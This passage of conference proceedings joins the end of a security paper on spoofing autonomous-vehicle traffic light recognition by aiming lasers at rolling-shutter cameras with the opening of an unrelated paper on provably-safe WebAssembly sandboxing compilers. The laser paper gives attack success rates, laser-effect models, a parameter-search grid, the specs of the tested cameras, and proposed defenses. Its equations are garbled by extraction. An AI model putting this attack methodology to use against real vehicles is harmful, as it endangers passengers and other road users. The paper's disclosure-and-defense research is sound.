trials, rendering an aiming success rate of 89.8%. The results
show that manual aiming is feasible with the equipment we
built even when the vehicle is moving at 20 km/h.

2According to the FDA, laser pointers with power more than 500 mW are
Class-4 laser products that must avoid direct or scattered exposure to for eye
and skin protection. Though the large speckle we used has greatly reduced
the laser’s power density at the target vehicle, eye damage may happen to
the passengers when viewed directly for long periods of time. For example,
given that the laser power is 1 W, speckle diameters at the diode and at 40 m
are 0.8 cm and 15 cm, then based on a rough calculation, the laser’s power
density is equivalent to 2.9 mW, 11.4 mW, and 213.3 mW at 40 m, 20 m,
and 10 m away respectively. Safety measures such as laser goggles must be
ensured in all experiments, especially when in proximity to the diode.
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(a) Running a red light (b) Emergency stop

Figure 19: Simulated end-to-end impacts of the attack.

6.3.3 End-to-End Impact on Driving

We believe the experimental setup in Section 6.3.2 represents
a practical setting for attacks in the real world. Thus, we fur-
ther analyze the experiment’s result on traffic light recognition
and investigate the attack’s potential end-to-end impact on
Apollo’s driving behavior with the LGSVL simulator.

Result of Attacking TL Recognition. Under the practical
setup in Section 6.3.2, the attack can successfully spoof a
red light to green in 16 trials (out of 38) and spoof a green
light to red in 9 trials (out of 50), rendering an attack success
rate of 42.1% for R!G and 18% for G!R. The average
attack success rate is 28.4%, which is lower than the result
in Section 6.3.1 due to the unstable laser injection caused by
manual aiming from a distance. We envision that the attack
success rate can be increased with better equipment, e.g., an
automatic aiming and laser stabilization system.

Impact on Driving Behavior. As we could not find pro-
duction self-driving vehicles, we study the attack’s potential
end-to-end impact on Apollo running in the LGSVL driving
simulator. For simplicity, we replay the best attack results
in the previous experiments as the color of the virtual traffic
light in the simulator. We find the vehicle will start to brake
or move in less than 0.5 seconds after recognizing a sudden
change of the traffic light. In some cases such as Fig. 19, such
behaviors can make the vehicle run a red light and collide
with the traffic, or suddenly decelerate and stop in the middle
of the intersection, potentially causing rear-end collisions.

7 Discussion

Universal Black-box Attack. An universal black-box attack
is desirable as it does not require any knowledge of the target
camera. Though our attack does not require a full white-box
knowledge of the camera, knowing the refresh rate is neces-
sary for attacking all cameras in order to stabilize the injected
interference. As the refresh rate varies between devices, it is
difficult to achieve an universal black-box attack that uses the
same attack parameters for different target cameras.

Timing Challenge. The timing of laser injection deter-
mines the stripe’s position in the image and directly affects
the attack’s effectiveness. Unfortunately, it is impossible to
predict the exact timing without direct feedback from the cam-
era, which can lower the attack’s effectiveness in practice. We
consider the influence of timing as a probability problem. A

wider stripe will increase the probability of overlapping with
the traffic light, however, it may also unnecessarily disrupt
traffic light detection and the recognition of other objects in
the image, such as cars and lanes, which may trigger alarms
and disable self-driving. The precise effect of a wide stripe
on object detection is unknown and shall be investigated in
future work. The attacker may also inject a stripe that slowly
moves in the image across consecutive frames. Therefore, the
attack may succeed during the time when the stripe overlaps
with the traffic light, e.g., for a few seconds depending on the
stripe’s moving speed, which is sufficient to affect self-driving
according to our simulation.

Countermeasures. To mitigate the threat, we suggest two
methods to redesign the rolling shutter mechanism. The elec-
tronic shutter may (1) expose the CMOS rows in a random
sequence, or (2) start the exposure from a random row for
every frame, as illustrated in Fig. 31. We simulate the first
method, and Fig. 32 shows the images before and after ap-
plying random rolling shutter sequence. It shows that this
method will scatter the injected stripe over the whole image,
thus making the attack ineffective. The second method will
make the injected stripe appear at different locations in the
image across continuous frames. With this design, the attack
may only succeed occasionally in discontinuous frames, and
thus is difficult to affect the driving decision.

8 Related Work

A few studies have shown the insecurity of camera-based
object detection and recognition systems. Earlier studies [11,
23, 33, 37] showed that strong light could saturate the camera
and disable the system. To spoof the system, Man et al. [14]
managed to inject ghost images of a road sign into the camera
using a regular projector, and Li et al. [12] injected adversarial
image patterns by physically placing stickers on the camera’s
lens. Other studies change the scene being filmed by physi-
cally modifying the object of interest [3, 7, 39] or projecting
light to the scene [13, 17, 19, 40] as adversarial patterns. Our
work differs from these papers in that we use laser to inject
adjustable color stripes into the image as adversarial patterns,
which could be conducted from a longer distance. More re-
cently, several works proposed to fool camera-based systems
by attacking relevant non-camera sensors. For example, Ji et
al. [9] used sound to attack a camera’s image stabilization
sensor, causing blurry images that deceive object detectors.
Tang et al. [31] proposed a region-of-interest attack that fools
traffic light detection by fabricating localization errors.

Some studies have used laser to attack non-camera-based
recognition systems, including microphones [30] and LI-
DAR [2,23,28]. These attacks exploit sensors’ vulnerabilities
and are known as transduction attacks [36]. Other transduc-
tion attacks against vehicles have investigated ultrasonic sen-
sors [35], rotational speed sensors [29], and radars [37].

Recently, two concurrent works [10, 25] also exploited the
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rolling shutter to attack camera-based recognition systems.
Like ours, they injected stripe-shaped interference on images.
However, the goal of [25] is to cause targeted image misclassi-

fication by flashing the LED illumination on the object in the
scene, and [10] aimed to maximally disrupt object detection,
i.e., to hide objects in the image, by irradiating blue laser at the
camera. Both of them generated adversarial patterns for the
entire image. While in this paper, we focus on a completely
different scenario, i.e., fooling traffic light recognition, which
requires different attack methods that inject adversarial pat-
terns onto a specific part of the image where the traffic light
is and considering aiming and synchronization in dynamic
attack scenarios.

9 Conclusion

In this paper, we show the feasibility of fooling traffic light
recognition with a laser. We manage to create adjustable color
stripes in the image that can alter the recognition results by ex-
ploiting the vulnerability of rolling shutters in CMOS cameras.
By modeling the laser attack process, we are able to simulate
the attack and search for effective laser parameters. Our eval-
uation with real cameras shows the attack’s effectiveness and
demonstrates its potential real-world impact. To alleviate the
threat, we propose defenses for existing and future vehicles.
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Appendix

A Laser Attack Modeling

A.1 Camera Modeling

Direct Interpolation. Suppose T represents the tensor in
RGB form, and M represents the matrix in raw file. Then for
pixel in the i th row and j th column in T, mathematically,

T [i, j,0] =

8
>>><

>>>:

M[i, j] if i mod 2 = 0 and j mod 2 = 0
M[i�1, j] if i mod 2 6= 0 and j mod 2 = 0
M[i, j�1] if i mod 2 = 0 and j mod 2 6= 0
M[i�1, j�1] else

T [i, j,1] =

8
>>><

>>>:

M[i, j+1] if i mod 2 = 0 and j mod 2 = 0
M[i, j] if i mod 2 6= 0 and j mod 2 = 0
M[i, j] if i mod 2 = 0 and j mod 2 6= 0
M[i, j�1] else

T [i, j,2] =

8
>>><

>>>:

M[i+1, j+1] if i mod 2 = 0 and j mod 2 = 0
M[i, j+1] if i mod 2 6= 0 and j mod 2 = 0
M[i+1, j] if i mod 2 = 0 and j mod 2 6= 0
M[i, j] else

Bilinear Interpolation. For the edges of the image, bilinear
interpolation takes the same procedure as direct interpolation.
For the interior pixels, we use the following rules to imple-
ment interpolation for pixel in i th row and j th column:

T [i, j,0] =

1
Â

k=�1

1
Â

l=�1
M[i+ k, j+ l]1{di+k +d j+l = 0}

1
Â

k=�1

1
Â

l=�1
1{di+k +d j+l = 0}

Here, for simplicity, we define
di = i mod 2

1{A}=
(

1 if A is true
0 else

Similarly, we can define for green and blue, respectively:

T [i, j,1] =

1
Â

k=�1

1
Â

l=�1
M[i+ k, j+ l]1{di+k +d j+l = 1}

1
Â

k=�1

1
Â

l=�1
1{di+k +d j+l = 1}

T [i, j,2] =

1
Â

k=�1

1
Â

l=�1
M[i+ k, j+ l]1{di+k +d j+l = 2}

1
Â

k=�1

1
Â

l=�1
1{di+k +d j+l = 2}

After interpolation, the raw file matrix is transformed into
an tensor that could be used for image processing in RGB.

(a) Incidence from the left (b) Incidence from the front

Figure 20: Illustration of the emulated color stripe with noise
and irradiated from the left and front of the camera. (Sigmoid
model, Imax = 1200, Imin = 0,b1 = 8,b2 = 5).

A.2 Laser Effect Emulation

Linear Function: Linear function is used when the incidence
direction is from the left or the right. We made the following
assumptions:
• The effect of laser attack is uniform vertically: the light

intensity difference only occurs among the x-axis;
• The light intensities at the two ends are Imax, Imin: For exam-

ple, if the incidence direction is from the left, the Imax will
occur at the left side of the image, while Imin at the right;

• The light intensity changes linearly horizontally;
Therefore, given Imax, Imin, we can express the light inten-

sity function for any point (x,y) on the color strip as (if the
incidence direction is from the left):

I = Imin +
y

w
(Imax � Imin)

If the incidence direction is from the right, we only need to
replace y by w� y. The illustrations of the linear model are
shown as following:

(a) Incidence from the left (b) Incidence from the right

Figure 21: Illustration of the Linear Model for both directions
with Imax = 2000, Imin = 0.

Sigmoid Function: Another reasonable assumption is that
the color intensity changes exponentially instead of linearly.
Sigmoid Function is also used for the case when the incidence
direction is from left or right. The assumption of the sigmoid
function is the same as the linear case except for the last one:
the light intensity changes according to a sigmoid-like func-
tion horizontally. Therefore, given Imax, Imin, we can express
the light intensity function for any point (x,y) on the color
strip as (if the incidence direction is from the left):

I = Imin +
1

1+ e�a1/(y�w/a2)
(Imax � Imin)
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Here, a1,a2 are hyper-parameters. If the incidence direc-
tion is from the right, we need to replace y� w

a2
by w

a2
�y. The

illustrations of the sigmoid model are shown as following:

(a) Incidence from the left (b) Incidence from the right

Figure 22: Illustration of the Sigmoid Model for both direc-
tions with Imax = 2000, Imin = 0,a1 = 5,a2 = 2.

Gaussian Function: If the incidence direction of the light
is from the front, then the channel overflow is most likely to
occur in the middle of the color strip. The assumptions of the
Gaussian model is different:
• The effect of laser attack follows two dimensional multi-

normal distribution with the peak at the center of the stripe;
• The light intensity at the peak of the distribution is Imax and

converges to 0 at the periphery;
• The correlation between two directions is 0 (r = 0, can be

relaxed);
To implement the Gaussian model, we need the maximum

light intensity Imax, and the top position of the color strip x0.
The light intensity function for any points (x,y) on the color
strip can be expressed as following:

a =
(x� x0 �h/2)2

(h/s1)2

b =
(y�w/2)2

(w/s2)2

c = r2(x� x0 �h/2)(y�w/2)
(hw)/(s1s2)

I =
1

2phw

p
1�r2/(s2s2)

e
� 1

2(1�r2)
(a+b+c)

Imaxhw

Here, s1,s2 are hyper-parameters representing the decay-
ing rate of the light intensity from the center to the periphery.
The illustration of the Gaussian model is shown as following:

Figure 23: Illustration of the Gaussian Model with Imax =
2000,s1 = 2,s2 = 4.

Adding Noise: The procedure is described in the following:

1. Pick a random number n from n1 to n2 to represent the
number of noisy pixels;

2. Randomly select {h0,h1, · · · ,hn�1}⇥{w0,w1, · · · ,wn�1},
where hi,w j 2 {1,2,3,4,5} to represent the sizes of the
noisy pixels;

3. If the incidence direction is left/right, then ac-
cording to distributions v(x),h(y), generate tuples
{(x0,y0),(x1,y1), · · · ,(xn�1,yn�1)} to represent the up-
per left corner of the noisy pixels; If the incidence
direction is from the front, then generate tuples
{(x0,y0),(x1,y1), · · · ,(xn�1,yn�1)} according to two-
dimensional random distribution;

4. Randomly select {b0,b1, · · · ,bn�1} to represent the bright-
ness of the pixels;

5. Then for i = 0, · · · ,n�1, we replace the red channel value
of all pixels in the square from (xi,yi) (upper left corner)
to (xi +hi,yi +wi) (lower right corner) by bi.

A.3 Searching Laser Attack Parameters

Table 3: Grids for parameter search.
Parameter Symbol Grids

Min. Light Strength Imin 0,400,800,1200,1600
Max. Light Strength Imax 200,600,1000,1400,1800
Wavelength (Red) lred 632,650,660

Wavelength (Green) lgreen 505,520
Incidence Direction None Left, Right, Front
Incidence Function D Linear, Sigmoid, Gaussian

A.4 Necessity of the Laser Attack Modeling

We conducted baseline experiments to evaluate the neces-
sity of the methodology design. We performed two groups
of experiments, one with laser parameters derived from the
model-based search, and the other without (as the naive base-
line). In particular, the laser parameters in the naive baseline
experiments were picked randomly by a volunteer without
knowledge of the recommended parameters, e.g., he can use
any laser strength as long as he thinks it may fool traffic light
recognition. Green-to-red attacks were conducted 20 times
for each group using our previous setup (Fig. 15) at various
traffic light distances and angles. The model-guided group
was successful 14/20 times, rendering a success rate of 70%,
while the naive baseline group succeeded 6/20 times, render-
ing a success rate of 30%. Thus, the comparison shows that
the methodology we designed can significantly increase the
attack’s effectiveness.

B Evaluation and Defense

The cameras we tested are shown in Fig. 24 and their specs
are listed in Table 4. The images they capture under attack
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are shown in Fig. 25 to 29.

Figure 24: The five cameras experimented in the evaluation.

Table 4: Specs of the five experimented cameras.
Parameter Tesla Hikv Xiaomi OPPO OpMV

Sensor AR0132 N/A OV
OS05A10 IMX519 OV7725

Refresh Rate (Hz) 45.458 20 30 30.012 N/A

Resolution 1280*
964

2560*
1600

1920*
1080

4608*
3456

320*
240

Lens Sunex
DSL945D N/A N/A N/A N/A

Field of View (�) 70 130 130 N/A 70.8
F 2.5 1.6 1.8 1.8 2.0

(a) G!R (b) R!G

Figure 25: Images of attacking the AR0132AT eval. board.

(a) G!R (b) R!G

Figure 26: Images of attacking the Xiaomi Dashcam.

(a) G!R (b) R!G

Figure 27: Images of attacking the Hikvision Dashcam.

(a) G!R (b) R!G

Figure 28: Images of attacking the OPPO K3 camera.

(a) G!R (b) R!G

Figure 29: Images of attacking the OpenMV H7 devboard.

Figure 30: The confidence score of traffic light detection while
injecting stripes of various sizes. A larger duty cycle indicates
a wider stripe. It shows that a wide stripe can significantly
disrupt traffic light detection, and thus shall be avoided.
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(a) Random starting row
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Exposure Time

···

(b) Random rolling sequence

Figure 31: Random rolling shutter mechanisms that can desta-
bilize or atomize the color stripe as a defense.

(a) Before defense (b) After defense

Figure 32: Images under attack before and after applying the
random rolling sequence countermeasure.
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Provably-Safe Multilingual Software Sandboxing using WebAssembly

Jay Bosamiya, Wen Shih Lim, and Bryan Parno

Carnegie Mellon University

Abstract
Many applications, from the Web to smart contracts, need to
safely execute untrusted code. We observe that WebAssem-
bly (Wasm) is ideally positioned to support such applications,
since it promises safety and performance, while serving as
a compiler target for many high-level languages. However,
Wasm’s safety guarantees are only as strong as the implemen-
tation that enforces them. Hence, we explore two distinct
approaches to producing provably sandboxed Wasm code.
One draws on traditional formal methods to produce mathe-
matical, machine-checked proofs of safety. The second care-
fully embeds Wasm semantics in safe Rust code such that the
Rust compiler can emit safe executable code with good per-
formance. Our implementation and evaluation of these two
techniques indicate that leveraging Wasm gives us provably-
safe multilingual sandboxing with performance comparable
to standard, unsafe approaches.

1 Introduction

Lightweight, safe execution of untrusted code is valuable
in many contexts, including software plugins, third-party li-
braries, or even client-side code run when browsing the Web.
New contexts such as dynamic content delivery networks
(CDNs), edge computing, and smart contracts have created
additional motivation to run untrusted code that could poten-
tially harm its execution environment. Software sandboxing
(via software fault isolation [41]) is a well-studied technique,
with a long and rich history [7, 17, 21, 27, 29, 30, 37, 52], to
provide this crucial primitive. Nevertheless, previous efforts
to deploy it in production have failed, due to technical and
marketplace hurdles (Section 2.2).

On the Web, after failed attempts with Java, ActiveX, Flash,
NaCl [52], and Asm.js, a new contender for fast code execu-
tion was born—WebAssembly [11]. With lightweight, safe,
portable, and fast code execution as its goals, WebAssembly
(or Wasm) has rapidly become a popular compilation target for
client-side code execution on the Web. Designed with sand-
boxing in mind, it has clean, succinct, and well-defined se-

mantics, which, along with its portability and speed, has made
it appealing for use in non-Web contexts too [8, 9, 30, 32, 42].
With the standardization of the WebAssembly Systems In-
terface (WASI) [42], it even exposes a POSIX-like API for
programs to interact with their environment in a controlled
manner. This makes it an attractive compilation target for both
Web and non-Web contexts, and compilers for most popular
languages, such as C, C++, Rust, Java, Go, C#, PHP, Python,
TypeScript, Zig, and Kotlin, now support it as a target.

As a result, an implementation of Wasm can provide strong
guarantees about the safe execution of a large variety of lan-
guages on a large number of platforms, making it an attractive
narrow waist for sandboxing (Section 2.3).

However, WebAssembly’s sandboxing guarantees hold
only at the specification level; real Wasm implementations
can, and do, have bugs (Section 2.3). These bugs can com-
pletely compromise all the guarantees provided by the speci-
fication. A plausible explanation for such disastrous sandbox-
compromising bugs, even in code designed with sandboxing
as an explicit focus, is that the correct, let alone secure, im-
plementation of high-performance compilers is difficult and
remains an active area of research, despite decades of work.

In this paper, we review the design space (Section 3) for
executing Wasm code. Within this space, we identify a crucial
gap: Wasm implementations that provide both strong security
and high performance. Hence, we propose and explore two
techniques, with varying performance and development com-
plexity, which guarantee safe sandboxing using provably safe
compilers. Along the way, we demonstrate that one can have
safety without sacrificing execution performance.

We implement the first of our techniques (Section 4) as
a compiler called vWasm, which utilizes formal methods
to mathematically prove that the compiled Wasm code can
only interact with its host environment via an explicitly pro-
vided API, hence ruling out problems where the compiled
code, say, reads/writes to prohibited host-memory locations,
or jumps to prohibited host code. We accomplish this by
writing a machine-checked formal proof about vWasm’s im-
plementation. In particular, the executable code produced
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by the implementation is formally guaranteed to stay within
the confines of the sandbox provided to it. Note that this
differs from traditional compiler correctness (in the vein of
CompCert [24]), which guarantees that the output program
matches the input. Indeed, the two properties are orthogonal,
and thus we focus on provable sandboxing. To our knowl-
edge, vWasm is the first formally verified implementation of
a multi-lingual sandboxing compiler, since it can sandbox
any of the many languages with an existing Wasm backend
(Section 2.3). This complements earlier work [21] that ver-
ifiably sandboxed Cminor, one of CompCert’s intermediate
languages, for CompCert’s three backends.

Our second technique (Section 5), implemented as a com-
piler called rWasm, takes a different approach that targets
the special nature of software sandboxing. By careful opti-
mized lifting of Wasm code to Rust, followed by compilation
down to native code, it provides high-performance execu-
tion of Wasm code while guaranteeing safe sandboxing. By
leveraging Rust’s safety guarantees, rWasm provides safety
without requiring any explicit proofs from the developer. Our
benchmarks (Section 6.1) show that rWasm is competitive
with, or on some benchmarks even beats, other Wasm run-
times, including ones optimized for performance, rather than
safety. By leveraging Rust, rWasm provides the first multi-
lingual, multi-platform sandboxing compiler with provably
safety guarantees and competitive performance.

vWasm, implemented in F* [39], currently compiles Wasm
programs into x86-64 assembly code, although the code and
proofs are designed for portability. To prove its high-level the-
orem, we model a subset of x86-64 semantics and prove that
the produced code satisfies the sandboxing statement given
these semantics. rWasm, on the other hand, is implemented
in Rust, and can compile code to any architecture that is sup-
ported as a target by Rust (which covers all the widely-used
architectures). It also supports the ability to conveniently
customize the output program, e.g., to add inline reference
monitors [7]. Both tools are available as open source.1

Both vWasm and rWasm are competitive in perfor-
mance, with the latter providing similar performance as other
performance-optimized Wasm implementations on various
benchmarks. The former is faster than interpreters, but slower
than unsafe compilers. We compare both implementations
on qualitative aspects in Section 6.2, including development/-
maintenance effort and extensibility.

As with most sandboxing tools, we focus only on protecting
the host environment from the sandboxed code. Hence, we do
not make any claims about the impact of buggy code on itself.
We also assume that the environment is not corrupt or overly
permissive in the APIs exposed to sandboxed code. Finally,
protections from denial of service, speculative execution, and
side-channel attacks are orthogonal and out of scope.

As we discuss in Section 7, an alternative to provably

1https://github.com/secure-foundations/provably-safe-
sandboxing-wasm-usenix22

Sandbox 1 Sandbox 2 Runtime

Host Process
Kernel 

API

Syscalls

Figure 1: SFI-based intra-process sandboxing. In practice,
the Host Process might be a video player, and each sandbox
might contain a different codec or extension.

emitting sandboxed code is to validate that code has been
properly sandboxed (cf. NaCl [52], RockSalt [29], and Veri-
Wasm [17]). However, these approaches require a custom
validator for each targeted platform. NaCl and RockSalt also
rely on a custom compiler toolchain for x86/x64 to make the
emitted code easier to validate. Verifying code that was not
so customized, e.g., with VeriWasm, is tricky to do without
rejecting legitimate programs or suffering soundness issues.
For example, VeriWasm missed CVE-2021-32629, a sandbox-
compromising bug in Wasmtime [46] and Lucet [1], due to
improper modeling of signedness in their specification [31].

Of course, a specification failure is problematic both for
verified compilation and for validation. However, verified
compilation allows greater control over the produced code;
e.g., vWasm only needs to model a small, simple fragment
of x64. In contrast, validation typically handles complex
assembly produced by an independent compiler. The two ap-
proaches are complementary though, and ideally both would
be used.

In summary, this paper makes the following contributions.

1. An exploration of two distinct techniques to achieve
provably safe, performant, multi-lingual sandboxing. We
implement these as open-source tools, and evaluate them
on a collection of quantitative and qualitative metrics.

2. vWasm, the first verified sandboxing compiler for Wasm,
achieved via traditional machine-checked proofs.

3. rWasm, the first provably safe sandboxing compiler with
competitive run-time performance. We achieve this us-
ing non-traditional repurposing of existing tools to pro-
vide provable guarantees without writing formal proofs.

2 Wasm as a Narrow Waist for
Software Sandboxing

We review software-fault isolation (Section 2.1) and Wasm
(Section 2.2), before discussing Wasm’s unique suitability for
multi-lingual, cross-platform sandboxing (Section 2.3).

2.1 Background: Software Sandboxing
As discussed in Section 1, safe, lightweight execution of
untrusted code is necessary in many contexts. A popular ap-
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proach is Software Fault Isolation (SFI) [41], which limits
the effects of bugs to the buggy code itself. Without requiring
any special hardware, it confines any bug’s impact within a
user-defined boundary, typically within a module or library.
Multiple such boundaries can be introduced within the same
OS-level process, as shown in Figure 1. Inline checks before
any potentially unsafe memory access enforce this boundary.
The cost of these checks is offset by the performance sav-
ings from cheap transitions between the sandboxed code and
the host process. Common techniques to implement these
checks include restricting offsets through bit masks, explicitly
checking bounds, or using hardware quirks like x64’s zero-
extend on 32-bit arithmetic. Ensuring these checks always
run requires some form of Control Flow Integrity.

2.2 Background: WebAssembly

The Web has seen many technologies for client-side code
execution, but all except JavaScript have fallen by the way-
side. JavaScript’s limitations as a compilation target, however,
motivated the design of Wasm.

Wasm introduces a new virtual architecture built from the
ground up with speed, safety, and portability in mind. Its
virtual architecture provides a platform-agnostic solution to
compilation and code execution on the Web. It is a stack-
based architecture with well-defined semantics and a basic
type system. Its semantics are entirely deterministic, except
for floating-point NaNs. It does not have a garbage collector,
and hence gives the developer (or compiler) more control over
run-time performance. Despite being a virtual architecture, it
is designed to be close to modern hardware, making reasoning
about its execution much simpler. These properties make it a
great compilation target.

In more detail, WebAssembly programs are composed of
separate modules, each of which consists of collections of
code, data, and associated connections to the environment (or
other modules). Code lives in simply-typed functions that can
access the module’s memory and global variables. Memory
is a (potentially growable) sequence of bytes, called linear
memory, whose length is a multiple of 64 KiB. This memory
is disjoint from all other parts of the module. Globals consist
of named scalar values (i.e., no arrays). Functions can be
called either directly, or indirectly by picking an offset in an
indirect call table. Control flow within a function consists
of conditionals, blocks, loops, direct jumps (conditional and
unconditional), and indirect jumps. Wasm guarantees that all
control flow is structured by only allowing jumps to labels of
blocks (or loops) that enclose the jump. Indirect jumps are
performed, similar to indirect calls, by picking an offset in
an indirect branch table. All imports to, and exports from,
the module are made explicit, avoiding implicit access to the
environment.

2.3 Motivation: A Narrow Waist

WebAssembly’s careful design enables sandboxed execution
of high-performance code on the Web. However, this same
design can also benefit non-Web applications, since the Wasm
standard explicitly separates the core Wasm language from
the specific API provided to each Wasm module by the run-
time or other modules. For example, instead of offering a
Web-oriented API, (say) for manipulating the DOM, many
runtimes [1, 43–46, 48, 49] offer the WebAssembly System
Interface (WASI) [42] API to run Wasm beyond the Web. Our
compilers vWasm and rWasm are agnostic to the particular
runtime API picked by the host.

Given its popularity, and the large number of compilers
that support compilation to Wasm2, from languages including
C, C++, Rust, Java, Go, C#, PHP, Python, TypeScript, Zig,
Kotlin, and more, a single compiler from Wasm is sufficient to
immediately support sandboxed code execution for all those
languages. This makes Wasm an attractive narrow waist to
provide high-performance lightweight sandboxing.

Such a compiler from Wasm to (say) x86-64 is simpler in
design than x64-to-x64 SFI rewriting or sandboxing. Wasm’s
stack-based architecture, type system, and well defined seman-
tics all make Wasm easier to reason about than x64. It also has
a drastically smaller architecture, with under 200 instructions,
compared to the ∼1500−6000 instructions in x64 [13, 15].
Additionally, it has no unexpected, or hardware/platform-
specific behavior. While it does have minor non-determinism,
in the form of computations involving floating-point NaNs,
this is the only source of non-determinism, and thus its behav-
ior is much easier to reason about.

As a narrow waist, then, Wasm seems to immediately pro-
vide high-performance lightweight sandboxing across all plat-
forms, but note that the actual implementation of the compiler
from Wasm is a critical part of the TCB for that guarantee. In
particular, any bug in the compiler could threaten the sand-
boxing protections, and indeed such bugs have been found in
existing runtimes, and would lead to arbitrary code execution
by an adversary. For example, using carefully crafted Wasm
modules, an attacker could achieve a memory-out-of-bounds
read in Safari/WebKit using a logic bug (CVE-2018-4222),
memory corruption in Chrome/V8 using an integer overflow
bug (CVE-2018-6092), arbitrary memory read in Chrome/V8
using a parsing bug (CVE-2017-5088), arbitrary code execu-
tion in Safari/WebKit using an integer overflow bug (CVE-
2021-30734); a sandbox escape in both Lucet and Wasmtime
using an optimization bug (CVE-2021-32629); and many
others. Recall that writing a high-performance compiler is
already hard, and compilers from Wasm need to protect even
against adversarial inputs, which makes it even harder. Indeed,
there appears to be a tension between functionality (especially
performance) and safety. We explore this in the next section.

2Any library or POSIX-compliant program (except for multi-threading
and longjmp, which Wasm currently lacks) can be compiled to Wasm; our
compilers support all current Wasm constructs.
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Figure 2: The Design Space for a Wasm-based Sandbox

3 The Design Space for Implementing a
Wasm-based Sandbox

We consider the design space for a Wasm-based sandbox
along two major axes– Security and Performance. Figure 2
shows an informal representation of the space, and the loca-
tion of types of Wasm runtimes within it.

Security and Threat Model To describe the security of
various Wasm-based sandboxes, we must first understand the
threat model. For the purposes of software sandboxing, this
is largely standard, but we describe it in particular for sand-
boxing Wasm modules. At a high level, the attacker has some
control over execution of the sandboxed module (through
buggy, or even malicious, attacker-provided module code)
and wishes to “break out” into the environment outside the
sandbox to obtain more control. Under our threat model, the
attacker may start executing code from any of the explicitly
exposed “starting points” within the Wasm module, can ma-
nipulate Wasm’s linear memory at arbitrary points between
Wasm executions, and can pass arbitrary arguments to Wasm
functions when calling them. The attacker, however, does not
arbitrarily control the environment, since if they already have
that level of control, then they need not “break out” of the
sandbox. Additionally, side-channel attacks, speculative exe-
cution attacks, hardware attacks (such as Row Hammer [20]
or power glitching [19]), denial of service, or excessive re-
source usage are out of scope. Confused deputy attacks [12],
where the more privileged host process is tricked into misus-
ing its authority due to a badly designed API, are also out of
scope but addressed in other orthogonal work [30].

Performance Obviously, for critical systems, security is
vital. However, for deployment in production, high perfor-
mance is also important. Different workloads may have differ-
ent performance requirements. Short workloads that run only
once have different requirements from long running ones, or
ones that require multiple runs. To simplify the discussion,
within Figure 2, we focus on workloads that are either long
running or require many runs. Our rough categorization here
is supported by quantitative measurements in Section 6.

Design Space The top-left corner of Figure 2 consists of
high-safety but low-performance implementations. Inter-
preters occupy this space, since (barring a language bug in
the implementation of the interpreter), an attacker cannot es-
cape the interpreter. However, this safety comes at the cost of
run-time performance. Verified interpreters, such as Watt’s
verified Wasm interpreter [47], may provide better/additional
safety properties relative to unverified interpreters.

The bottom-right corner consists of high-performance but
low-safety implementations. Occupied by compilers, this
space is used in many production scenarios, such as browsers.
Since compilers are complex software, they are prone to bugs
and thus can compromise safety (see Section 2.3). Amongst
the two types of compilers, ahead-of-time (AOT) and just-
in-time (JIT), the AOT compilers typically produce faster
execution at run time since they can afford to spend more time
on optimization. In contrast, JIT compilers tend to optimize
the total execution time, including compilation time, and thus
spend less time optimizing.

In the middle, we have traditional formally verified compil-
ers [22, 24]. For most languages, traditional compiler correct-
ness is orthogonal to sandboxing safety. The former reasons
about the semantic equivalence of safe input code and its out-
put and makes no guarantees about its compilation results
when given an unsafe input program, e.g., a C program with a
buffer overflow. Sandboxing safety reasons about the output
code independent of the input program (or its safety).

However, Wasm is special since its semantics are (almost)
deterministic. This means that if one formally proves this
determinism, and composes that with traditional compiler
correctness, then sandboxing safety could be proven from
it. Thus, a traditional formally verified compiler, while safer
than unverified compilers, is still imperfectly safe.

Finally, we have the upper-right quadrant of Figure 2,
which shows our goal, where neither safety nor performance
are compromised. We achieve this goal using the traditional
means of formal verification for vWasm, while using a non-
traditional repurposing of existing tools for rWasm. We defer
the discussion of our techniques to Sections 4, 5 and 6.

In Section 6, we consider additional axes, including compi-
lation time, development complexity, portability, and extensi-
bility.

4 vWasm: A Formally Verified
Sandboxing Compiler

Inspired by previous successes in constructing formally veri-
fied compilers for C [24] and ML [22], we construct vWasm
to compile Wasm to provably sandboxed code. Previous
work primarily focused on proving that correct input code is
faithfully compiled to correct output code, whereas vWasm fo-
cuses on proving that all input code (regardless of correctness
or even malice) is compiled to safely sandboxed code.
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Concretely, we implement vWasm in the F* proof assistant
(Section 4.1), following a relatively standard compilation
pipeline (Section 4.2). We formally state and prove vWasm’s
guarantee that all output code will be properly sandboxed
(Section 4.3), relative to a mechanized semantics of a subset
of the x64 ISA. Finally, we summarize some lessons learned
from vWasm’s development (Section 4.4).

4.1 Background: Formal Verification and F*
Formal verification of software consists of writing a formal
statement of the property we wish to prove about the software,
and then writing a formal proof that shows this statement is
true. The proof is machine checked and thus provides the
highest degree of assurance in its correctness. In contrast
to techniques such as software testing, fuzzing, and manual
reviews, formal verification is able to reason about all execu-
tion paths, provided any input. This means that behaviors like
buffer overflows, use-after-frees, etc. are completely ruled
out. We describe vWasm’s top-level property, as well as our
proof strategy, in Section 4.3.

Our verification tool, F* [39], is a general-purpose func-
tional programming language with effects, built for formal
verification. Syntactically, it is closest to languages from the
ML family (such as OCaml, F#, or SML). It has the full ex-
pressive power of dependent types, and has proof automation
backed by Z3 [4], an SMT solver. Code written in F* can
be extracted to multiple languages, and for vWasm, we use
F*’s OCaml extraction. Proofs are written within vWasm
as a combination of pre-/post-conditions, extrinsic lemmas,
and intrinsic dependently-typed values. Also, to aid in proof
management, we regularly use F*’s layered effects [34].

4.2 Compilation Strategy
vWasm is implemented as a compiler from Wasm to x86-64
(abbreviated as x64 henceforth), but it is designed to keep
most of its code and proofs generic with respect to the target
architecture. Here, we describe the process of compiling to
x64, but the techniques generalize in a straightforward way to
other architectures such as ARM. In compiling from Wasm to
x64, there are three important conceptual stages: (i) a frontend
which compiles Wasm to an architecture-parametric IR, (ii) a
sandboxing pass which acts upon the architecture-parametric
IR, and (iii) a printer which outputs the x64 assembly code.

The frontend for the compiler is both untrusted and unveri-
fied. This means that one neither needs to trust its correctness
for the overall theorem statement to be true, nor does one
need to write proofs about it. Note that this is in stark contrast
with traditional compiler verification, where any stage of the
compilation must either be trusted or verified. This means that
we are free to use any compiler technology for the compiler’s
frontend, including arbitrarily complicated optimizations, as
long as it outputs code within our architecture-parametric

IR. This drastically reduces the development cost of such a
compiler, compared to a traditional verified compiler, and it
can also allow for fast code by allowing full usage of com-
piler optimization research. Since compiler optimization is
orthogonal to our primary goal, for vWasm’s frontend, we
implemented only a simple register allocator and a basic peep-
hole optimizer. We leave such optimizations for future work.

On the other end of the compilation pipeline is the x64
assembly printer, which is trusted to be correct. We discuss
